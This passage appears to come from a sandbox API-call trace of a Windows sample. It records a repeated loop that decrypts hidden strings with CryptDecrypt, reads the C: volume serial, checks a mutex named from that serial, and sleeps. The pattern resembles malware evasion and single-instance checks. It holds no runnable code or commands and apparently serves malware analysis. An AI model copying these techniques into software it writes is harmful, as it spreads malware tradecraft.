hHash=0x0, Final=0, dwFlags=0x0, pbData=0x88cd8, pdwDataLen=0xd8fe6c | out: pbData=0x88cd8, pdwDataLen=0xd8fe6c) returned 1 [0056.588] CryptDestroyKey (hKey=0x10d1f0) returned 1 [0056.588] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x8, Size=0x1e) returned 0x88d78 [0056.588] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x1e) returned 0x88d00 [0056.588] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x90) returned 0x8afc0 [0056.588] CryptImportKey (in: hProv=0xe6710, pbData=0xd8fe28, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd8fe90 | out: phKey=0xd8fe90*=0x10cfb0) returned 1 [0056.588] CryptSetKeyParam (hKey=0x10cfb0, dwParam=0x1, pbData=0xd8fe78, dwFlags=0x0) returned 1 [0056.588] CryptDecrypt (in: hKey=0x10cfb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x8afc0, pdwDataLen=0xd8fe44 | out: pbData=0x8afc0, pdwDataLen=0xd8fe44) returned 1 [0056.588] CryptDestroyKey (hKey=0x10cfb0) returned 1 [0056.588] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x8afc0 | out: hHeap=0x80000) returned 1 [0056.589] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x88d78, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0056.589] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x88d00 | out: hHeap=0x80000) returned 1 [0056.589] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x88cd8 | out: hHeap=0x80000) returned 1 [0056.589] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xd8fef8, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xd8fef8*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0056.636] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x88d78 | out: hHeap=0x80000) returned 1 [0056.636] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x40) returned 0x8afc0 [0056.637] CryptImportKey (in: hProv=0xe6710, pbData=0xd8fe84, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd8feec | out: phKey=0xd8feec*=0x10cdf0) returned 1 [0056.637] CryptSetKeyParam (hKey=0x10cdf0, dwParam=0x1, pbData=0xd8fed4, dwFlags=0x0) returned 1 [0056.637] CryptDecrypt (in: hKey=0x10cdf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x8afc0, pdwDataLen=0xd8fea0 | out: pbData=0x8afc0, pdwDataLen=0xd8fea0) returned 1 [0056.637] CryptDestroyKey (hKey=0x10cdf0) returned 1 [0056.637] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x8, Size=0x34) returned 0x8b008 [0056.637] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x33c [0056.637] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0x0) returned 0x102 [0056.637] CloseHandle (hObject=0x33c) returned 1 [0056.637] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x8afc0 | out: hHeap=0x80000) returned 1 [0056.637] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x8b008 | out: hHeap=0x80000) returned 1 [0056.637] Sleep (dwMilliseconds=0x3e8) [0058.027] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x20) returned 0x88e68 [0058.027] CryptImportKey (in: hProv=0xe6710, pbData=0xd8fe50, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd8feb8 | out: phKey=0xd8feb8*=0x10cf70) returned 1 [0058.027] CryptSetKeyParam (hKey=0x10cf70, dwParam=0x1, pbData=0xd8fea0, dwFlags=0x0) returned 1 [0058.027] CryptDecrypt (in: hKey=0x10cf70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x88e68, pdwDataLen=0xd8fe6c | out: pbData=0x88e68, pdwDataLen=0xd8fe6c) returned 1 [0058.027] CryptDestroyKey (hKey=0x10cf70) returned 1 [0058.027] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x8, Size=0x1e) returned 0x88ee0 [0058.027] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x1e) returned 0x88d78 [0058.027] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x90) returned 0x8afc0 [0058.027] CryptImportKey (in: hProv=0xe6710, pbData=0xd8fe28, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd8fe90 | out: phKey=0xd8fe90*=0x10d1b0) returned 1 [0058.027] CryptSetKeyParam (hKey=0x10d1b0, dwParam=0x1, pbData=0xd8fe78, dwFlags=0x0) returned 1 [0058.027] CryptDecrypt (in: hKey=0x10d1b0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x8afc0, pdwDataLen=0xd8fe44 | out: pbData=0x8afc0, pdwDataLen=0xd8fe44) returned 1 [0058.027] CryptDestroyKey (hKey=0x10d1b0) returned 1 [0058.027] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x8afc0 | out: hHeap=0x80000) returned 1 [0058.027] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x88ee0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0058.027] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x88d78 | out: hHeap=0x80000) returned 1 [0058.027] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x88e68 | out: hHeap=0x80000) returned 1 [0058.027] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xd8fef8, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xd8fef8*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0058.027] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x88ee0 | out: hHeap=0x80000) returned 1 [0058.027] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x40) returned 0x8afc0 [0058.027] CryptImportKey (in: hProv=0xe6710, pbData=0xd8fe84, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd8feec | out: phKey=0xd8feec*=0x10d170) returned 1 [0058.027] CryptSetKeyParam (hKey=0x10d170, dwParam=0x1, pbData=0xd8fed4, dwFlags=0x0) returned 1 [0058.027] CryptDecrypt (in: hKey=0x10d170, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x8afc0, pdwDataLen=0xd8fea0 | out: pbData=0x8afc0, pdwDataLen=0xd8fea0) returned 1 [0058.027] CryptDestroyKey (hKey=0x10d170) returned 1 [0058.027] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x8, Size=0x34) returned 0x8b008 [0058.027] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x318 [0058.028] WaitForSingleObject (hHandle=0x318, dwMilliseconds=0x0) returned 0x102 [0058.028] CloseHandle (hObject=0x318) returned 1 [0058.028] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x8afc0 | out: hHeap=0x80000) returned 1 [0058.028] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x8b008 | out: hHeap=0x80000) returned 1 [0058.028] Sleep (dwMilliseconds=0x3e8) [0059.246] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x20) returned 0x88cd8 [0059.246] CryptImportKey (in: hProv=0xe6710, pbData=0xd8fe50, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd8feb8 | out: phKey=0xd8feb8*=0x10d070) returned 1 [0059.246] CryptSetKeyParam (hKey=0x10d070, dwParam=0x1, pbData=0xd8fea0, dwFlags=0x0) returned 1 [0059.246] CryptDecrypt (in: hKey=0x10d070, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x88cd8, pdwDataLen=0xd8fe6c | out: pbData=0x88cd8, pdwDataLen=0xd8fe6c) returned 1 [0059.246] CryptDestroyKey (hKey=0x10d070) returned 1 [0059.246] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x8, Size=0x1e) returned 0x88d28 [0059.246] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x1e) returned 0x88c60 [0059.246] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x90) returned 0x8afc0 [0059.246] CryptImportKey (in: hProv=0xe6710, pbData=0xd8fe28, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd8fe90 | out: phKey=0xd8fe90*=0x10d1b0) returned 1 [0059.246] CryptSetKeyParam (hKey=0x10d1b0, dwParam=0x1, pbData=0xd8fe78, dwFlags=0x0) returned 1 [0059.246] CryptDecrypt (in: hKey=0x10d1b0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x8afc0, pdwDataLen=0xd8fe44 | out: pbData=0x8afc0, pdwDataLen=0xd8fe44) returned 1 [0059.246] CryptDestroyKey (hKey=0x10d1b0) returned 1 [0059.246] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x8afc0 | out: hHeap=0x80000) returned 1 [0059.246] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x88d28, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0059.246] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x88c60 | out: hHeap=0x80000) returned 1 [0059.246] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x88cd8 | out: hHeap=0x80000) returned 1 [0059.246] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xd8fef8, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xd8fef8*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0059.246] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x88d28 | out: hHeap=0x80000) returned 1 [0059.246] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x40) returned 0x8afc0 [0059.246] CryptImportKey (in: hProv=0xe6710, pbData=0xd8fe84, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd8feec | out: phKey=0xd8feec*=0x10cb30) returned 1 [0059.246] CryptSetKeyParam (hKey=0x10cb30, dwParam=0x1, pbData=0xd8fed4, dwFlags=0x0) returned 1 [0059.246] CryptDecrypt (in: hKey=0x10cb30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x8afc0, pdwDataLen=0xd8fea0 | out: pbData=0x8afc0, pdwDataLen=0xd8fea0) returned 1 [0059.246] CryptDestroyKey (hKey=0x10cb30) returned 1 [0059.246] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x8, Size=0x34) returned 0x8b008 [0059.246] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x338 [0059.246] WaitForSingleObject (hHandle=0x338, dwMilliseconds=0x0) returned 0x102 [0059.246] CloseHandle (hObject=0x338) returned 1 [0059.247] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x8afc0 | out: hHeap=0x80000) returned 1 [0059.247] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x8b008 | out: hHeap=0x80000) returned 1 [0059.247] Sleep (dwMilliseconds=0x3e8) [0061.231] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x20) returned 0x88eb8 [0061.231] CryptImportKey (in: hProv=0xe6710, pbData=0xd8fe50, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd8feb8 | out: phKey=0xd8feb8*=0x10ce30) returned 1 [0061.231] CryptSetKeyParam (hKey=0x10ce30, dwParam=0x1, pbData=0xd8fea0, dwFlags=0x0) returned 1 [0061.231] CryptDecrypt (in: hKey=0x10ce30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x88eb8, pdwDataLen=0xd8fe6c | out: pbData=0x88eb8, pdwDataLen=0xd8fe6c) returned 1 [0061.231] CryptDestroyKey (hKey=0x10ce30) returned 1 [0061.231] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x8, Size=0x1e) returned 0x88df0 [0061.231] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x1e) returned 0x88e40 [0061.231] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x90) returned 0x8afc0 [0061.231] CryptImportKey (in: hProv=0xe6710, pbData=0xd8fe28, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd8fe90 | out: phKey=0xd8fe90*=0x10cdf0) returned 1 [0061.231] CryptSetKeyParam (hKey=0x10cdf0, dwParam=0x1, pbData=0xd8fe78, dwFlags=0x0) returned 1 [0061.231] CryptDecrypt (in: hKey=0x10cdf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x8afc0, pdwDataLen=0xd8fe44 | out: pbData=0x8afc0, pdwDataLen=0xd8fe44) returned 1 [0061.231] CryptDestroyKey (hKey=0x10cdf0) returned 1 [0061.231] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x8afc0 | out: hHeap=0x80000) returned 1 [0061.231] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x88df0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0061.231] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x88e40 | out: hHeap=0x80000) returned 1 [0061.231] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x88eb8 | out: hHeap=0x80000) returned 1 [0061.231] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xd8fef8, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xd8fef8*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0061.231] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x88df0 | out: hHeap=0x80000) returned 1 [0061.231] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x40) returned 0x8afc0 [0061.231] CryptImportKey (in: hProv=0xe6710, pbData=0xd8fe84, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd8feec | out: phKey=0xd8feec*=0x10d170) returned 1 [0061.231] CryptSetKeyParam (hKey=0x10d170, dwParam=0x1, pbData=0xd8fed4, dwFlags=0x0) returned 1 [0061.231] CryptDecrypt (in: hKey=0x10d170, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x8afc0, pdwDataLen=0xd8fea0 | out: pbData=0x8afc0, pdwDataLen=0xd8fea0) returned 1 [0061.231] CryptDestroyKey (hKey=0x10d170) returned 1 [0061.231] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x8, Size=0x34) returned 0x8b008 [0061.231] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x33c [0061.232] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0x0) returned 0x102 [0061.232] CloseHandle (hObject=0x33c) returned 1 [0061.232] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x8afc0 | out: hHeap=0x80000) returned 1 [0061.232] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x8b008 | out: hHeap=0x80000) returned 1 [0061.232] Sleep (dwMilliseconds=0x3e8) [0062.561] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x20) returned 0x88da0 [0062.561] CryptImportKey (in: hProv=0xe6710, pbData=0xd8fe50, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd8feb8 | out: phKey=0xd8feb8*=0x10cf70) returned 1 [0062.561] CryptSetKeyParam (hKey=0x10cf70, dwParam=0x1, pbData=0xd8fea0, dwFlags=0x0) returned 1 [0062.561] CryptDecrypt (in: hKey=0x10cf70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x88da0, pdwDataLen=0xd8fe6c | out: pbData=0x88da0, pdwDataLen=0xd8fe6c) returned 1 [0062.561] CryptDestroyKey (hKey=0x10cf70) returned 1 [0062.561] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x8, Size=0x1e) returned 0x88d78 [0062.561] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x1e) returned 0x88bc0 [0062.561] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x90) returned 0x8afc0 [0062.561] CryptImportKey (in: hProv=0xe6710, pbData=0xd8fe28, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd8fe90 | out: phKey=0xd8fe90*=0x10ca30) returned 1 [0062.561] CryptSetKeyParam (hKey=0x10ca30, dwParam=0x1, pbData=0xd8fe78, dwFlags=0x0) returned 1 [0062.561] CryptDecrypt (in: hKey=0x10ca30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x8afc0, pdwDataLen=0xd8fe44 | out: pbData=0x8afc0, pdwDataLen=0xd8fe44) returned 1 [0062.561] CryptDestroyKey (hKey=0x10ca30) returned 1 [0062.561] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x8afc0 | out: hHeap=0x80000) returned 1 [0062.561] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x88d78, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0062.561] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x88bc0 | out: hHeap=0x80000) returned 1 [0062.562] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x88da0 | out: hHeap=0x80000) returned 1 [0062.562] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xd8fef8, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xd8fef8*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0062.562] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x88d78 | out: hHeap=0x80000) returned 1 [0062.562] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x40) returned 0x8afc0 [0062.562] CryptImportKey (in: hProv=0xe6710, pbData=0xd8fe84, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd8feec | out: phKey=0xd8feec*=0x10d070) returned 1 [0062.562] CryptSetKeyParam (hKey=0x10d070, dwParam=0x1, pbData=0xd8fed4, dwFlags=0x0) returned 1 [0062.562] CryptDecrypt (in: hKey=0x10d070, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x8afc0, pdwDataLen=0xd8fea0 | out: pbData=0x8afc0, pdwDataLen=0xd8fea0) returned 1 [0062.562] CryptDestroyKey (hKey=0x10d070) returned 1 [0062.562] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x8, Size=0x34) returned 0x8b008 [0062.562] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x344 [0062.562] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0x0) returned 0x102 [0062.562] CloseHandle (hObject=0x344) returned 1 [0062.562] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x8afc0 | out: hHeap=0x80000) returned 1 [0062.562] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x8b008 | out: hHeap=0x80000) returned 1 [0062.562] Sleep (dwMilliseconds=0x3e8) [0063.610] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x20) returned 0x88f08 [0063.610] CryptImportKey (in: hProv=0xe6710, pbData=0xd8fe50, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd8feb8 | out: phKey=0xd8feb8*=0x10ce70) returned 1 [0063.610] CryptSetKeyParam (hKey=0x10ce70, dwParam=0x1, pbData=0xd8fea0, dwFlags=0x0) returned 1 [0063.610] CryptDecrypt (in: hKey=0x10ce70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x88f08, pdwDataLen=0xd8fe6c | out: pbData=0x88f08, pdwDataLen=0xd8fe6c) returned 1 [0063.610] CryptDestroyKey (hKey=0x10ce70) returned 1 [0063.610] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x8, Size=0x1e) returned 0x88e18 [0063.610] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x1e) returned 0x88d50 [0063.610] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x90) returned 0x8afc0 [0063.610] CryptImportKey (in: hProv=0xe6710, pbData=0xd8fe28, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd8fe90 | out: phKey=0xd8fe90*=0x10d0f0) returned 1 [0063.610] CryptSetKeyParam (hKey=0x10d0f0, dwParam=0x1, pbData=0xd8fe78, dwFlags=0x0) returned 1 [0063.610] CryptDecrypt (in: hKey=0x10d0f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x8afc0, pdwDataLen=0xd8fe44 | out: pbData=0x8afc0, pdwDataLen=0xd8fe44) returned 1 [0063.610] CryptDestroyKey (hKey=0x10d0f0) returned 1 [0063.610] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x8afc0 | out: hHeap=0x80000) returned 1 [0063.611] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x88e18, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0063.611] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x88d50 | out: hHeap=0x80000) returned 1 [0063.611] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x88f08 | out: hHeap=0x80000) returned 1 [0063.611] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xd8fef8, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xd8fef8*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0063.611] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x88e18 | out: hHeap=0x80000) returned 1 [0063.611] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x40) returned 0x8afc0 [0063.611] CryptImportKey (in: hProv=0xe6710, pbData=0xd8fe84, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd8feec | out: phKey=0xd8feec*=0x10ce30) returned 1 [0063.611] CryptSetKeyParam (hKey=0x10ce30, dwParam=0x1, pbData=0xd8fed4, dwFlags=0x0) returned 1 [0063.611] CryptDecrypt (in: hKey=0x10ce30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x8afc0, pdwDataLen=0xd8fea0 | out: pbData=0x8afc0, pdwDataLen=0xd8fea0) returned 1 [0063.611] CryptDestroyKey (hKey=0x10ce30) returned 1 [0063.611] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x8, Size=0x34) returned 0x8b008 [0063.611] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x308 [0063.611] WaitForSingleObject (hHandle=0x308, dwMilliseconds=0x0) returned 0x102 [0063.611] CloseHandle (hObject=0x308) returned 1 [0063.611] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x8afc0 | out: hHeap=0x80000) returned 1 [0063.611] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x8b008 | out: hHeap=0x80000) returned 1 [0063.612] Sleep (dwMilliseconds=0x3e8) [0064.664] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x20) returned 0x88d00 [0064.664] CryptImportKey (in: hProv=0xe6710, pbData=0xd8fe50, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd8feb8 | out: phKey=0xd8feb8*=0x10caf0) returned 1 [0064.664] CryptSetKeyParam (hKey=0x10caf0, dwParam=0x1, pbData=0xd8fea0, dwFlags=0x0) returned 1 [0064.664] CryptDecrypt (in: hKey=0x10caf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x88d00, pdwDataLen=0xd8fe6c | out: pbData=0x88d00, pdwDataLen=0xd8fe6c) returned 1 [0064.664] CryptDestroyKey (hKey=0x10caf0) returned 1 [0064.664] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x8, Size=0x1e) returned 0x88e90 [0064.664] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x1e) returned 0x88d78 [0064.664] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x90) returned 0x8afc0 [0064.664] CryptImportKey (in: hProv=0xe6710, pbData=0xd8fe28, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd8fe90 | out: phKey=0xd8fe90*=0x10d030) returned 1 [0064.664] CryptSetKeyParam (hKey=0x10d030, dwParam=0x1, pbData=0xd8fe78, dwFlags=0x0) returned 1 [0064.664] CryptDecrypt (in: hKey=0x10d030, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x8afc0, pdwDataLen=0xd8fe44 | out: pbData=0x8afc0, pdwDataLen=0xd8fe44) returned 1 [0064.664] CryptDestroyKey (hKey=0x10d030) returned 1 [0064.664] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x8afc0 | out: hHeap=0x80000) returned 1 [0064.664] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x88e90, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0064.664] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x88d78 | out: hHeap=0x80000) returned 1 [0064.664] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x88d00 | out: hHeap=0x80000) returned 1 [0064.665] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xd8fef8, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xd8fef8*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0064.665] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x88e90 | out: hHeap=0x80000) returned 1 [0064.665] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x40) returned 0x8afc0 [0064.665] CryptImportKey (in: hProv=0xe6710, pbData=0xd8fe84, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xd8feec | out: phKey=0xd8feec*=0x10cfb0) returned 1 [0064.665] CryptSetKeyParam (hKey=0x10cfb0, dwParam=0x1, pbData=0xd8fed4, dwFlags=0x0) returned 1 [0064.665] CryptDecrypt (in: hKey=0x10cfb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x8afc0, pdwDataLen=0xd8fea0 | out: pbData=0x8afc0, pdwDataLen=0xd8fea0) returned 1 [0064.665] CryptDestroyKey (hKey=0x10cfb0) returned 1 [0064.665] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x8, Size=0x34) returned 0x8b008 [0064.665] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\0001B419773000") returned 0x344 [0064.665] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0x0) returned 0x102 [0064.665] CloseHandle (hObject=0x344) returned 1 [0064.665] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x8afc0 | out: hHeap=0x80000) returned 1 [0064.665] HeapFree (in: hHeap=0x80000, dwFlags=0x0, lpMem=0x8b008 | out: hHeap=0x80000) returned 1 [0064.665] Sleep (dwMilliseconds=0x3e8) Thread: id = 4 os_tid = 0xf9c [0036.066] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x20a) returned 0x81008 [0036.066] GetVersion () returned 0x23f00206 [0036.066] RtlAllocateHeap (HeapHandle=0x80000, Flags=0x0, Size=0x50) returned 0x84e48 [0036.066] CryptImportKey (in: hProv=0xe6710, pbData=0xecf70c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xecf774 | out: 